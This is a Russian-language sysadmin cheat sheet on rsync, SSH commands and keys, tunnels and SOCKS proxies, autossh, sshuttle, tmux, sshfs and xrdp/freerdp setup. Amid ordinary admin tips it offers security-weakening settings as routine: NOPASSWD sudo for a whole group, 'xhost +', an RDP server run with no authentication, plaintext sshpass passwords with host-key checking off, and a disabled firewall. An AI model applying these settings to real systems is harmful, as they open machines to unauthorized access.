развернуть
список основных опций rsync:

-a, сохранять права доступа и информация о владельцах, включает опции -rlptgoD;
-r, копировать каталоги рекурсивно;
-l, копировать символические ссылки, не обращаться к файлам;
-p, сохранять прав доступа к файлам;
-t, сохранять время модификации файлов;
-g, -o, сохранять владельца и группы файла;
-D, охранять файлы устройств и специальных файлов;
-u, режим обновления, не синхронизировать файлы имеющие более позднюю дату модификации, чем в источнике;
-v, отображать имена копируемых файлов;
-q, не отображать сообщения об ошибках;
-z, сжимать данные;
-P, отображать прогресс копирования;
-с, проверка файлов по контрольной сумме;
--ignore-errors, игнорировать ошибки;
--max-delete, максимальное число удаляемых за один раз файлов и каталогов;
--files-from=FILE, указать список файлов и директорий для копирования;
-e ssh, использование при копировании SSH;
--bwlimit=KBPS, ограничение скорости передач данных.

наиболее наиболее часто используемые rsync примеры синхронизации файлов.

Используем rsync по SSH для синхронизации двух директорий или файлов:
rsync -zavP /source root@1.1.1.1:/backup

Можно синхронизировать сразу два каталога или файла:
rsync -zavP /source /source2 root@1.1.1.1:/backup

Копировать файлы с удаленного сервера на локальный:
rsync -zavP root@1.1.1.1:/backup /source

Использовать rsync по SSH с нестандартным портом:
rsync -zavP '-e ssh -p 12345' /source root@1.1.1.1:/backup

https://codebeer.ru/rsync-ssh-sinhronizaciya-fajlov-v-linux/
https://serveradmin.ru/rsync-nastroyka-bekapa-na-centos-debian-ubuntu/



установка XRDP, VNC и SSH на Ubuntu и Debian 1

ssh
http://redhat-club.org/2011/установка-и-настройка-openssh-сервера-в-rhel-centos-fedora
Наглядное руководство по SSH-туннелям
Памятка пользователям ssh
Магия SSH
Полное руководство по SSH в Linux и Windows
Настройка SSH в BlackArch
Как перехватить пароль SSH. Атака человек-посередине на SSH

$ sudo apt install openssh-server
$ sudo systemctl enable sshd

$ ssh user@192.168.88.10
$ export DISPLAY=:0
$ nohup chromium "ya.ru"
$ ssh 192.168.0.100 'DISPLAY=:0 nohup vlc $HOME/Музыка/04\ Kadavergehorsam.mp3
$ ssh 192.168.0.100 'DISPLAY=:0 nohup notify-send "Hello" "World"'
$ ssh пользователь@комп 'команда1; команда2; команда3'
$ ssh root@192.168.88.10 'bash -s' < script.sh
$ ssh root@192.168.88.10 'uptime; df -h; free -m | cat /proc/loadavg'
$ ssh root@192.168.88.10 'reboot'
$ ssh user@192.168.88.10 "bash -s -- $args" < "$script"

отредактировать удалённый файл через ssh с использованием vim, вы можете сделать так.
sudo apt install vim
vim scp://ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ_ХОСТ//home/user/path/file

сравнение (diff) локального файла и удалённого файла:
diff local_file.txt <(ssh user@remote_host 'cat remote_file.txt')
сравнение (diff) двух удалённых файлов:
diff <(ssh user@remote_host 'cat remote_file.txt') <(ssh user2@remote_host2 'cat remote_file2.txt')

монтирование
sudo apt install sshfs fuse
Для монтирования нужно запустить команду вида:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ
если SSH работает на порту 2222, то команда будет такой:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ -p 2222

https://ru.stackoverflow.com/questions/547626/Как-ввести-пароль-в-bash-через-скрипт
Как через скрипт ввести пароль?
$ sshpass -p 'пароль' ssh пользователь@сервер
aдреса постоянно меняются
$ sshpass -p 'пароль' ssh -q -o 'UserKnownHostsFile /dev/null' -o 'StrictHostKeyChecking no' пользователь@сервер
https://ru.wikipedia.org/wiki/Expect

управление ключами и доступ по ключу
Аутентификация на сервере Ubuntu с использованием ключей SSH
SSH авторизация по ключу
Вход ssh по ключу ( Linux/Unix )
SSH с высоты птичьего полёта, или разгребаем кучи ключей
Как конвертировать ключи SSH из формата PuTTY в формат OpenSSH
Создание и настройка ключей OpenSSH

Свой ключ можно сгенерировать с помощью команды ssh-keygen
Сменить пароль на ключ можно с помощью команды ssh-keygen -p

~/.ssh/id_rsa.pub — открытый ключ. Его копируют на сервера, куда нужно получить доступ.
~/.ssh/id_rsa — закрытый ключ. Его нельзя никому показывать

Первый раз, когда вы заходите на сервер, ssh вас спрашивает, доверяете ли вы ключу. Если отвечаете нет, соединение закрывается. Если да — ключ сохраняется в файл ~/.ssh/known_hosts

Удалить известный ключ сервера можно командой ssh-keygen -R server. При этом нужно удалить ещё и ключ IP (они хранятся раздельно): ssh-keygen -R 127.0.0.1

Клиентские открытые ключи нужно сохранить на ssh-сервере в файле ~/.ssh/authorized_keys (~ это домашняя директория того пользователя, которым будете логиниться), каждый на отдельной строке
Команда ssh-copy-id user@server позволяет скопировать ключ
Если у вас ssh на нестандартном порту, то ssh-copy-id требует особого ухищрения при работе: ssh-copy-id '-p 443 user@server' (внимание на кавычки)

Права на файл ~/.ssh/authorized_keys
В случае ручного создания файла ~/.ssh/authorized_keys на ssh-сервере необходимо задать следующие права:
chmod 0700 ~/.ssh
chmod 0600 ~/.ssh/authorized_keys



Настройка входа через SSH без пароля
На локальной машине (с которой заходим):
ssh-keygen -t rsa

Без предварительного подключения, выполняем команду на удалённой машине (IP и имя пользователя поменяйте на свои):
ssh mial@192.168.1.35 mkdir .ssh

Теперь нам нужно скопировать содержимое файла id_rsa.pub на удалённую машину. Сделать это очень просто (не забываем менять данные на свои):





советы по безопасности
Доступ только с определённых IP
Если планируется подключаться к серверу только с определённых IP-адресов, то можно внести строки в файл /etc/hosts.deny
sshd: ALL

В файл /etc/hosts.allow
Sshd: 188.120.252.0/24

Таким образом будет запрещён доступ по SSH для всех подсетей, кроме указанной.
После этого нужно перезапустить службу командой service sshd restart.

Смените порт SSH
Для этого в файле /etc/ssh/sshd_config необходимо раскомментировать и изменить Port 22 на свободный, это может быть любое число до 65536. и перезапустить службу service sshd restart

Используйте только ключи SSH
Пара ключей создаётся командой ssh-keygen. Секретный ключ (файл без расширения) копируется на ПК, а публичный (имяключа.pub) — в файл .ssh/authorized_keys на сервере.

Чтобы отключить авторизацию по паролю, в том же конфиге SSH нужно изменить директиву PasswordAuthentication yes на PasswordAuthentication no и перезапустить службу — останется авторизация только по ключу SSH.

Оция PermitRootLogin — может ли root входить в систему посредством SSH:
PermitRootLogin no
А эта директива определяет, какие пользователи могут логиниться в SSH:
AllowUsers alice bob

включить SSH доступ для пользователя root
vi /etc/ssh/sshd_config
PermitRootLogin yes
service ssh restart
systemctl restart sshd

разорвать TCP подключение используя утилиту tcpkill
sudo tcpkill -i ИНТЕРФЕЙС -9 port ПОРТ
sudo tcpkill -i ИНТЕРФЕЙС -9 host IP_ИЛИ_ДОМЕН

редактировать конфиги по sftp, sudo доступ
thunar редактировать конфиги по sftp, sudo доступ
thunar sftp://пользователь@сервер

sudo apt install gvfs-fuse gvfs-backends
thunar -q

вставить в свой файл /etc/ssh/sshd_config на стороне сервера:
Subsystem sftp sudo -n true && sudo -n /usr/lib/openssh/sftp-server || /usr/lib/openssh/sftp-server
закомментить
#Subsystem sftp /usr/lib/openssh/sftp-server

systemctl restart sshd

в /etc/sudoers просто поместите новые записи после них.
sudo visudo
Новая запись должна выглядеть
myuser ALL=(ALL) NOPASSWD: ALL для одного пользователя, или
%sudo ALL=(ALL) NOPASSWD: ALL для группы.

Удалённый экран через SSH
Для того, чтобы разрешить форвардинг X11, удалённый сервер должен быть соответствующим образом сконфигурирован. Соответствующие настройки делаются в файле /etc/ssh/sshd_config:
...
AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE
AcceptEnv LC_MONETARY LC_MESSAGES
AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE
AcceptEnv LC_MEASUREMENT LC_IDENTIFICATION LC_ALL LANGUAGE
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
...
Настройки туннелирования X11 могут быть также включены/запрещены для каждого пользователя отдельно:
...
Match User bilbobaggins
X11Forwarding no
...
Внося изменения в конфигурационный файл сервера OpenSSH, не забывайте перезапускать его для того, чтобы изменения ступили в силу:
sudo service sshd restart

На стороне клиента, в файле /etc/ssh/ssh_config необходимо включить опцию Forward11Trusted. В Fedora эта опция включена по умолчанию, в то время как в некоторых других дистрибутивах вам придётся сделать это самостоятельно:
...
ForwardX11Trusted yes
...
Имейте ввиду, что расположение файлов конфигурации OpenSSH в различных дистрибутивах могут быть разными.


Xpra выполнение графических приложений без привязки к текущему X-сеансу
http://www.xpra.org/
http://winswitch.org/
Учимся переносить запущенные программы с одного компьютера на другой
Выпуск Xpra 0.10, аналога утилиты screen для графических программ

Возможно использование xpra и из командной строки. На удалённом хосте, на котором необходимо запустить приложение (в примере запускается xterm), выполняем:
xpra start :100 --start-child=xterm

после чего подсоединяемся с другой машины к созданному сеансу
xpra attach ssh:имя_сервера:100

Запуск графических приложений через SSH (X11Forwarding)

sudo apt-get install xauth

Настройка сервера
/etc/ssh/sshd_config
...
X11Forwarding yes
...
Перезагрузка
/etc/init.d/sshd restart

Настройка клиента
/etc/ssh/ssh_config
...
ForwardX11 yes

Запуск
Заходим на удаленный хост и потом запускаем приложение kopete

ssh -XC user1@remotehost
xterm
Сразу запустить приложение xterm

ssh -XC user1@remotehost "xterm"
Опции:
X : перенаправлять графический вывод
С : компрессия передаваемых данных

если не работает проверить права на удаленном хосте
ls -l ~/.Xauthority
если не помогло, добавить на сервере в sshd_config
XAuthLocation /usr/bin/xauth


Долгое Подключение по SSH — Убираем Задержку
Настройка быстрого подключения по SSH в Linux
Ssh долго подключается или тупит Ubuntu

Для того чтобы проверить, надо запустить ssh коннект с флагом -v
ssh -o GSSAPIAuthentication=no user@exampleserver.com -v

1. UseDNS
В основном, подключение по SSH происходит медленно из-за неудачных попыток разрешения имен в системе DNS.

Чтобы уменьшить время ожидания при входе, открываем на редактирование следующий файл:
vi /etc/ssh/sshd_config

Находим строку:
#UseDNS yes

И приводим ее к следующему виду:
UseDNS no

* в конкретном примере мы сняли комментарий и заменили yes на no, чем отключили разрешение DNS-имен при каждой попытке подключения. Если на нашем Linux сервере не настроены DNS (или настроены неправильно), это решит проблему медленного SSH.
** если такой строчки нет, необходимо ее дописать.

Чтобы изменнения вступили в силу, перезагружаем сервис:
systemctl restart sshd || systemctl restart ssh
* или service sshd restart || service ssh restart

2. GSSAPIAuthentication
GSSAPI предоставляет API для различных вариантов аутентификации в системе. Однако, в большинстве случаем, используется стандартный метод PAM. Если отключить GSSAPI, это может значительно ускорить вход по SSH.

Открываем sshd_config:
vi /etc/ssh/sshd_config

И приводим две строки к следующему виду:
GSSAPIAuthentication no
GSSAPICleanupCredentials yes

* в данном примере мы отключили аутентификацию с использованием GSS-API (общий программный интерфейс сервисов безопасности). Он может быть использован, например, для связки с Kerberos. Однако, чаще всего используется метод PAM и надобность в GSSAPIAuthentication отсутствует.

Перезапускаем:
systemctl restart sshd || systemctl restart ssh

3. motd
В Linux Ubuntu при входе файл приветствия /etc/motd выполняет различные задачи, например, проверку обновлений, которая может замедлить вход. В этом случае торможение будет на этапе после ввода пароля.

Для отключения модуля приветствия, открываем на редактирование два файла:
vi /etc/pam.d/login
vi /etc/pam.d/sshd

И комментируем все строки, в которых присутствует pam_motd.so.
Перезапускаем sshd:
systemctl restart sshd || systemctl restart ssh

ssh подключение к GParted Live CD/USB/PXE/HD, Clonezilla live и
SystemRescueCd

nano /etc/hosts.deny
закомментировать строку ALL: ALL EXCEPT localhost
#ALL: ALL EXCEPT localhost

затем рестартануть sshd
/etc/init.d/ssh restart

пользователь по умолчанию user пароль live

в SystemRescueCd sshd уже запущен и нет блокировок, нужно только изменить пароль root и отключить фрайвол
systemctl stop iptables.service ip6tables.service
или при загрузке нажать tab и вбить опцию загрузки nofirewall


ошибки при подключении
если при подключении по ssh ошибка no matching cipher found. Their offer: aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc
то подключаться
ssh -c aes256-cbc user@address
если no matching key exchange method found. Their offer: diffie-hellman-group1-sha1
то подключаться
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address
если ошибка no matching cipher found. Their offer: 3des-cbc
то
ssh -c 3des-cbc -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address


https://codeplanet.io/connection-reset-by-peer/
ssh_exchange_identification: read: Connection reset by peer

ssh username@address.com -vv
sudo service ssh stop
sudo /usr/sbin/sshd -d

debug1: Connection refused by tcp wrapper

vi /etc/hosts.allow
добавить
sshd: ALL

sudo service ssh stарт


SSH-туннели — пробрасываем порт
создание постоянного SSH-тоннеля

ssh -N -R 80:localhost:80 root@104.131.xxx.xxx

Установка time-out для SSH в Linux
vim ~/.bashrc
TMOUT=3600

Как повторно подключиться к отключенному сеансу SSH
https://serverfault.com/questions/19634/how-to-reconnect-to-a-disconnected-ssh-session
tty
apt install reptyr
ps -aux |grep 'pts/3'
reptyr -T 6447

autossh
Как Ваш компьютер может дать доступ к себе через туннель средствами ssh, autossh, autosshd
Поддержание SSH-туннеля в активном состоянии при помощи AutoSSH

Обратный туннель SSH с AutoSSH
Как настроить постоянно работающий SSH-туннель
apt install autossh
autossh -M 5122 -N -R 5022:localhost:22 rex - связывание порта 5022 на удалённом хосте rex и порта 22 на локальной машине
Для autossh обязательна опция -M, которая задает порт для мониторинга соединения
Чтобы запустить autossh в фоновом режиме, добавляем опцию -f
Чтобы завершить процесс, используем команду pkill:
$ pkill autossh

Создание SSH-туннеля. Часть третья
$ autossh -M 0 -f -N -p 2222 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" \ -o "ExitOnForwardFailure yes" -R 3306:127.0.0.1:3306 evgeniy@192.168.110.8

https://switch-case.ru/71908031
autossh -fNL 192.168.0.1:80:1.2.3.4:80 user@1.2.3.4 -p 22 -i /home/user/.ssh/my_key

https://blog.zerial.org/linux/tip-mantener-sesiones-ssh-activas-con-autossh/
Мы передаем «autossh» те же параметры, что и ssh, например:
autossh -L5022:10.0.0.11:22 -L5023:10.0.0.15:22 -L5024:10.0.0.20:22 10.0.0.1
для привязки локальных портов к различным удаленным машинам. ИЛИ
autossh -R2200:localhost:22 example.com
Чтобы привязать удаленные порты к нашей локальной машине.

https://qastack.ru/superuser/37738/how-to-reliably-keep-an-ssh-tunnel-open
autossh -M 20000 -f -N your_public_server -R 1234:localhost:22 -C
autossh -f -nNT -i ~/keypair.pem -R 2000:localhost:22 username@myoutsidebox.com

Создание и поддержание SSH-туннеля

Настройка SSH-тунеля
В самом простом случае ssh-тунель создается командой:
ssh -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -f -N [email protected]
где
f - выполнять в фоне.
i - путь до ключа, по которому будет происходить авторизация на сервере master.
N - не выполнять никаких команд. Я так понимаю, если вдруг в сценариях logon на сервере master заданы какие-то команды - выполнение их пропускается.
L - задаёт port forwarding. В данном случае, локальный порт 33060 на сервере slave мапится на локальный порт 3306 на сервере master.

Для автоматизации этого процесса есть утилита autossh, которая следит за тем, что тунель работает, и в противном слуае запускает его заново.

autossh -M 0 -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -N
где
M - задает порт мониторинга. По этим портам происходит проверка работоспособности тунеля. 0 отключит мониторинг, а autossh перезапустит ssh только при выходе из ssh.
o - задание дополнительных опций.
L - маппинг портов.
i - путь к ключу, по которому будет происходить авторизация при подключении к серверу master.
N - не выполнять команд при подключении.
f - выполнять в фоне. Этот параметр не передается в ssh, а выполнение в фоне обеспечивает сама утилита autossh.

Теперь надо настроить запуск этой команды при загрузке системы. Это можно сделать используя systemd.

Создаем сервис. Для этого создаем файл
sudo vi /etc/systemd/system/autossh-mysql-tunnel.service
со следующим содержанием



Параметр -f можно не использовать, так как systemd не понимает этот параметр.

Перезагружаем systemd, чтобы сервис стал доступен:
sudo systemctl daemon-reload
Запускаем сервис и помещаем его в автозагрузку:
sudo systemctl start autossh-mysql-tunnel.service
sudo systemctl enable autossh-mysql-tunnel.service
Проверить статус можно с помощью команды:
sudo systemctl status autossh-mysql-tunnel


https://github.com/aktos-io/link-with-server

ssh proxy via host
Перенаправление (forwarding) портов SSH

http://ruslash.com/ssh-proxy-via-host/
На локальном хосте выполняем:
$ ssh -L 8888:localhost:8888 HOSTA
На следующем хосте
$ ssh -D 8888 HOSTX
Потом подключаемся на локальный 8888 порт и используем его в качестве socks прокси.

https://wiki.enchtex.info/practice/ssh_socks_proxy_server
на локальной машине подключаемся к удаленной системе с помощью команды:
$ ssh -D8080 user@server
где -D8080 – произвольный номер порта.
в настройках программы выбираем использоваться socks прокси на адрес 127.0.0.1:8080


Создаём SOCKS 5 прокси с помощью SSH-соединения через удалённый сервер в Linux
Cоздать SOCKS 5 прокси довольно просто. Достаточно выполнить команду по следующей схеме:

ssh -f -C2qTnN -D <порт> <удаленный_пользователь>@<удаленный_сервер> -p 22
Где
-f Запросит ssh перейти в фоновый режим только перед выполнением команды.
-C Включит сжатие всех данных (включая stdin, stdout, stderr и данные для перенаправленных Х11 и TCP/IP соединений).
-2 Принуждает ssh использовать только протокол версии 2.
-q Тихий режим. Подавляет все предупреждения и диагностические сообщения. Будут отображены только фатальные ошибки.
-T Отменить переназначение терминала.
-n Перенаправляет стандартный ввод из /dev/null (фактически, предотвращает чтение из стандартного ввода).
-N Не выполнять удаленную команду.
-D [локальный IP : ] порт
-p указывает, какой порт использовать; очевидно, это значение по умолчанию равно 22, поэтому приведенное выше утверждение не имеет смысла, но включено для ясности.

Например:

ssh -f -C2qTnN -D 1080 roman@8.8.8.8
После введения пароля к удаленному серверу, SSH перейдёт в фоновый режим.

Далее вам следует открыть любой браузер, в котором прописать адрес SOCKS 5 прокси в параметрах соединения.

Для примера я взял Firefox.
Идём «Правка» → «Настройки» → вкладка «Дополнительно» → вкладка «Сеть» → раздел «Соединение» → кнопка «Настроить»
Устанавливаем там пункт «Ручная настройка сервиса прокси», в поле «Узел SOCKS» пишем наш IP адрес (обычно 127.0.0.1), а в поле «Порт» — указанный порт (в примере 1080).
Ставим ключ на пункт «SOCKS 5» и применяем настройки.

Как мне настроить локальный SOCKS прокси, который туннелирует трафик через SSH?

Как настроить прокси через туннель SSH в Ubuntu: примеры с Firefox и Chrome
создайте прокси SOCKS на локальном хосте: 9999 (выберите любой неиспользуемый порт) через соединение SSH с портом , используя имя пользователя [Unknown site tag]. Вам может быть предложено ввести пароль.
Фактический пример:
$ ssh -D 9999 -f -C -N johndoe@path.to.proxy.server.edu -p 52831

SSH через HTTP прокси
http://www.zeitoun.net/articles/ssh-through-http-proxy/start
https://www.math.ucla.edu/computing/kb/creating-ssh-proxy-tunnel-putty


mosh
https://mosh.org/
Инструмент Mosh — альтернативный вариант для SSH и как его использовать
Mosh — SSH с блекджеком и роумингом
Утилита Mosh как замена SSH
законектится
$ mosh user_name@my_host.com

Запустить интерактивную команду вместо $SHELL:
$ mosh my_host.com htop

Использование другого порта для сессии на сервере:
$ mosh --ssh="ssh -p 2213" my_host.com

mosh --ssh="/bin/ssh -MY_FAVOURITE_SSH_OPTION" host

tmux
https://wiki.archlinux.org/index.php/Tmux_(Русский)
Краткая шпаргалка по tmux (менеджеру терминалов)
Tmux — что это и зачем? Обзор и урок tmux
GNU Screen и tmux: ключ к эффективному использованию консоли
Шпаргалка по работе с Tmux (терминальный мультиплексор)
Поддержка мышки в Midnight Commander запущенного из под tmux/screen

небольшой конфигурационный файл:
$ vi ~/.tmux.conf




vi ~/.profile




$ tmux source-file ~/.tmux.conf
кратко
для подключения обратно используется другой аргумент командной строки:
$ tmux attach

для перехода к предыдущему окну следует использовать следующую команду:
$ tmux last-window

А для создания окна такую:
$ tmux new-window

Весь перечень поддерживаемых команд можно получить так:
$ tmux list-commands

Получить список всех возможных опций можно так:
$ tmux show-options
$ tmux show-window-options

Очень хороший способ запустить tmux:
tmux attach || tmux new — делая так, вы сперва пытаетесь подключиться к уже существующему серверу tmux, если он существует; если такого ещё нет — создаёте новый.
tmux new -s session1 - создание сессии с именем session1
tmux attach -t session1 - подключение к сессии session1
tmux a -t session1
Ctrl+b s Выбрать сессию
tmux kill-session -t session1 - Завершение сессии

После этого вы попадаете в полноценную консоль.
Ctrl+b d — отключиться. (Точно так же вы отключитесь, если прервётся соединение. Как подключиться обратно и продолжить работу — см. выше.)

В одной сессии может быть сколько угодно окошек:
Ctrl+b c — создать окошко;
Ctrl+b 0...9 — перейти в такое-то окошко;
Ctrl+b p — перейти в предыдущее окошко;
Ctrl+b n — перейти в следующее окошко;
Ctrl+b l — перейти в предыдущее активное окошко (из которого вы переключились в текущее);
Ctrl+b & — закрыть окошко (а можно просто набрать exit в терминале).

В одном окошке может быть много панелей:
Ctrl+b % — разделить текущую панель на две, по вертикали;
Ctrl+b " — разделить текущую панель на две, по горизонтали (это кавычка, которая около Enter, а не Shift+2);
Ctrl+b →←↑↓ — переходить между панелями;
Ctrl+b x — закрыть панель (а можно просто набрать exit в терминале).

Недостаток — непривычным становится скроллинг:
Ctrl+b PgUp — вход в «режим копирования», после чего:
PgUp, PgDown — скроллинг;
q — выход из «режима копирования».

работа с tmux
Старт
# tmux //без параметров будет создана сессия 0
# tmux new -s session1 //новая сессия session1. Название отображается снизу-слева в квадратных скобках в статус строке. Далее идет перечисление окон. Текущее окно помечается звездочкой.

Префикс (с него начинаются команды)
<C-b> (CTRL + b)

Новое окно (нажать CTRL+b, затем нажать с)
<C-b c>

Список окон
<C-b w> // переключиться курсором вверх-вниз

Переключение
<C-b n> // следующее окно
<C-b p> // предыдущее окно
<C-b 0> // переключиться на номер окна

Окна можно делить на панели (Panes)
Как в тайловых (мозаичных) оконных менеджерах.

Деление окна горизонтально
<C-b ">
либо команда
# tmux split-window -h

Деление окна вертикально
<C-b %>
либо команда
# tmux split-window -v

Переход между панелей
<C-b стрелки курсора> // либо режим мыши

Изменение размеров панелей
<C-b c-стрелки> // либо режим мыши

Закрытие окон
<C-b x> // нужно подтвердить y
либо
# exit

Отключение от сессии
<C-b d>
либо
# tmux detach

Список сессий
# tmux ls

Подключиться к работающей сессии
# tmux attach //подключение к сессии, либо к единственной, либо последней созданной
# tmux attach -t session1 // подключение к сессии session1

Выбрать сессию
<C-b s>

Завершение сессии
# tmux kill-session -t session1

Завершить все сессии
# tmux kill-server

Список поддерживаемых комманд
# tmux list-commands

Дополнительная информация
# man tmux

Магия ssh
Доступ к ssh серверу через очень зарегулированное подключение
Shellinabox — если вдруг заблокируют SSH
https://github.com/sshuttle/sshuttle
https://www.stunnel.org/config_unix.html
https://github.com/erebe/wstunnel
https://github.com/tsl0922/ttyd
https://github.com/stuicey/SSHy
https://xtermjs.org/

Использование утилиты tar по сети через SSH

SSLH
http://rutschle.net/pipermail/sslh/
Краткий экскурс в sslh
SSLH - МУЛЬТИПЛЕКСОР SSL / SSH
Мультиплексирование ssl/ssh соединений через один 443 порт
SSLH: Прячем SSH/HTTPS/OpenVPN/Telegram за единым портом 443
SSLH: Запускаем SSH, OpenVPN, HTTPS, Socks5 и MTProto-proxy на 443 порту

ssh VPN
VPN через SSH

https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle
sshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0

https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:



Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;


SSHFS
https://wiki.archlinux.org/title/SSHFS_(Русский)
https://sysadminium.ru/mount-sshfs/
Монтирование удаленной директории с помощью sshfs. Часть 2 из 2
Подключение и настройка SSHFS в Linux
Как настроить SSH вход без пароля

sudo apt install sshfs fuse

Чтобы получить возможность монтировать от имени обычного пользователя необходимо создать группу fuse:
sudo groupadd fuse
sudo usermod -aG fuse $USER
либо sudo vim /etc/fuse.conf
user_allow_other
тогда монтирование будет с опцией sshfs -o allow_other

Аутентификация по ключу
ssh-keygen -t rsa -b 4096 -C "your_email@domain.com"
ssh-copy-ide [remote_username]@[server_ip_address]
Открытый ключ автоматически копируется в файл .ssh/authorized_keys

sshfs [remote_username]@[server_ip_address]:/patch /mnt/stor/
sshfs -o ssh_command='ssh -q -o BatchMode=yes -o StrictHostKeyChecking=no' server_ip_address:/patch /mnt/stor/

Если по каким-то причинам нельзя настроить аутентификацию по ключу, можно использовать утилиту sshpass. Опция -f для утилиты sshpass говорит о том, что пароль доступа к серверу сохранен в файле ~/server.pass
sshfs -f -o allow_other developer@123.123.123.123:/var/www/ /home/evgeniy/var-www/

отмонтировать
fusermount -u /opt/repo

vim /etc/fstab
USERNAME@HOSTNAME_OR_IP:/REMOTE/DIRECTORY /LOCAL/MOUNTPOINT fuse.sshfs defaults,_netdev 0 0



установка XRDP, VNC и SSH на Ubuntu и Debian 2

XRDP

usermod -aG audio,video пользователь

sudo apt install xrdp
sudo dpkg-reconfigure xserver-xorg-legacy

Xrdp настройка Xfce sevo44-1



выбираем "кто угодно"

sudo mv /etc/xrdp/startwm.sh /etc/xrdp/startwm.sh.BACKUP
sudo nano /etc/xrdp/startwm.sh




Важно! Обратите внимание на тот факт, что в конце файла необходимо добавить пустую строку.

sudo chmod +x /etc/xrdp/startwm.sh

hwinfo |grep XkbModel

sudo mv /etc/xrdp/xrdp_keyboard.ini /etc/xrdp/xrdp_keyboard.ini.BACKUP
sudo nano /etc/xrdp/xrdp_keyboard.ini




echo xterm > ~/.xsession # ( если этого файла нет домашнем каталоге)
sudo service xrdp restart

systemctl is-enabled xrdp # проверить есть ли в автозагрузке
systemctl disable xrdp # убрать из автозагрузки
systemctl enable xrdp # добавить в автозагрузку
systemctl start xrdp # запустить

rdesktop -z -P -g 1280x1024 127.0.0.1 -k en-us

если ошибки с локалью, то вбить export LANG=ru_RU.utf8

если возникает ошибка невозможно получить доступ к '/home/пользователь/thinclient_drives': Отказано в доступе
то sudo umount -f thinclient_drives
после этого вы должны переименовать thinclient_drives в .thinclient_drives

vi (m) /etc/xrdp/sesman.iniфайл.
В [Chansrv] добавить: FuseMountName=/tmp/%u/thinclient_drives
Выйдите из системы и войдите снова. Теперь thinclient_drives будут смонтированы /tmp/{uid}/thinclient_drives.
Можно rmdir thinclient_drives в своем хомедире.

ошибка при запуске с sudo или su
"Не удалось подключиться к: В соединении отказано Ошибка инициализации GTK."
вбить
xhost si:localuser:root
после
sudo программа
или что безопасней
export XAUTHORITY=$HOME/.Xauthority
sudo программа

запуск графических приложений из snap

nano /etc/xrdp/sesman.ini
env | grep DBUS
sudo lshw -C display
xwininfo -tree -root
echo $DISPLAY

sudo lshw -C display
ps -ef | grep Xorg
pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY программа
export PATH="/snap/bin/:$PATH"
Xvfb -ac :10 -screen 0 1280x1024x16 & export DISPLAY=:10

xhost +
xhost +local:
xhost +si:localuser:root
xhost +si:localuser:пользователь

ssh username@hostname -X
ssh username@hostname -Y
export DISPLAY='IP:0.0'
export DISPLAY="127.0.0.1:10.0"

запуск хрома
export PATH="/snap/bin/:$PATH"
echo $DISPLAY
xhost +si:localuser:пользователь
export DISPLAY=:10 && chromium &


https://sevo44.ru/xrdp-terminalnyj-server-linux/#Debian_9
https://hostiq.ua/wiki/install-rdp-server/#2_5
https://wiki.yola.ru/xrdp:xrdp

VPS на Linux с графическим интерфейсом: запускаем сервер RDP на Ubuntu 18.04
Удаленный доступ. Обобщил себе на память.
Ошибка cannot open display в Linux
Docker: запуск графических приложений в контейнерах

FreeBSD 12 xrdp
FreeBSD + xRDP + WINE или Терминальный сервер для 1С в AD
xrdp_keyboard.ini



В пользовательской директории создаем файл .startwm.sh с таким содержимым:



Добавляем в /etc/rc.conf

xrdp_enable="YES"
xrdp_sesman_enable="YES"

И запускаем, service xrdp allstart, которая запустит ещё и сервис xrdp_sessman.

freerdp-shadow
Как установить и запустить RDP сервер в Linux
sudo apt install freerdp2-shadow-x11 winpr-utils

Чтобы запустить RDP сервер вовсе без аутентификации используйте опцию -auth:
freerdp-shadow-cli -auth

Если аутентификация включена, PAM используется с подсистемой X11
чтобы запустить freerdp-shadow с поддержкой NLA необходимо создать файл, в котором будет строка вида:
ПОЛЬЗОВАТЕЛЬ:::ХЕШ:::
Имя пользователя Linux нам известно, для вычисления хеша нужно выполнить команду вида:
winpr-hash -u ПОЛЬЗОВАТЕЛЬ -p ПАРОЛЬ

К примеру, имя пользователя mial, а пароль цифра 2 тогда команда следующая:
winpr-hash -u mial -p 2

Получен хеш:
8f33e2ebe5960b8738d98a80363786b0

Создаём текстовый файл SAM и в него записываем строку
mial:::8f33e2ebe5960b8738d98a80363786b0:::

Теперь запускаем freerdp-shadow-x11 с двумя опциями:
/sam-file:ФАЙЛ — указывает на расположение NTLM SAM файла для NLA аутентификации
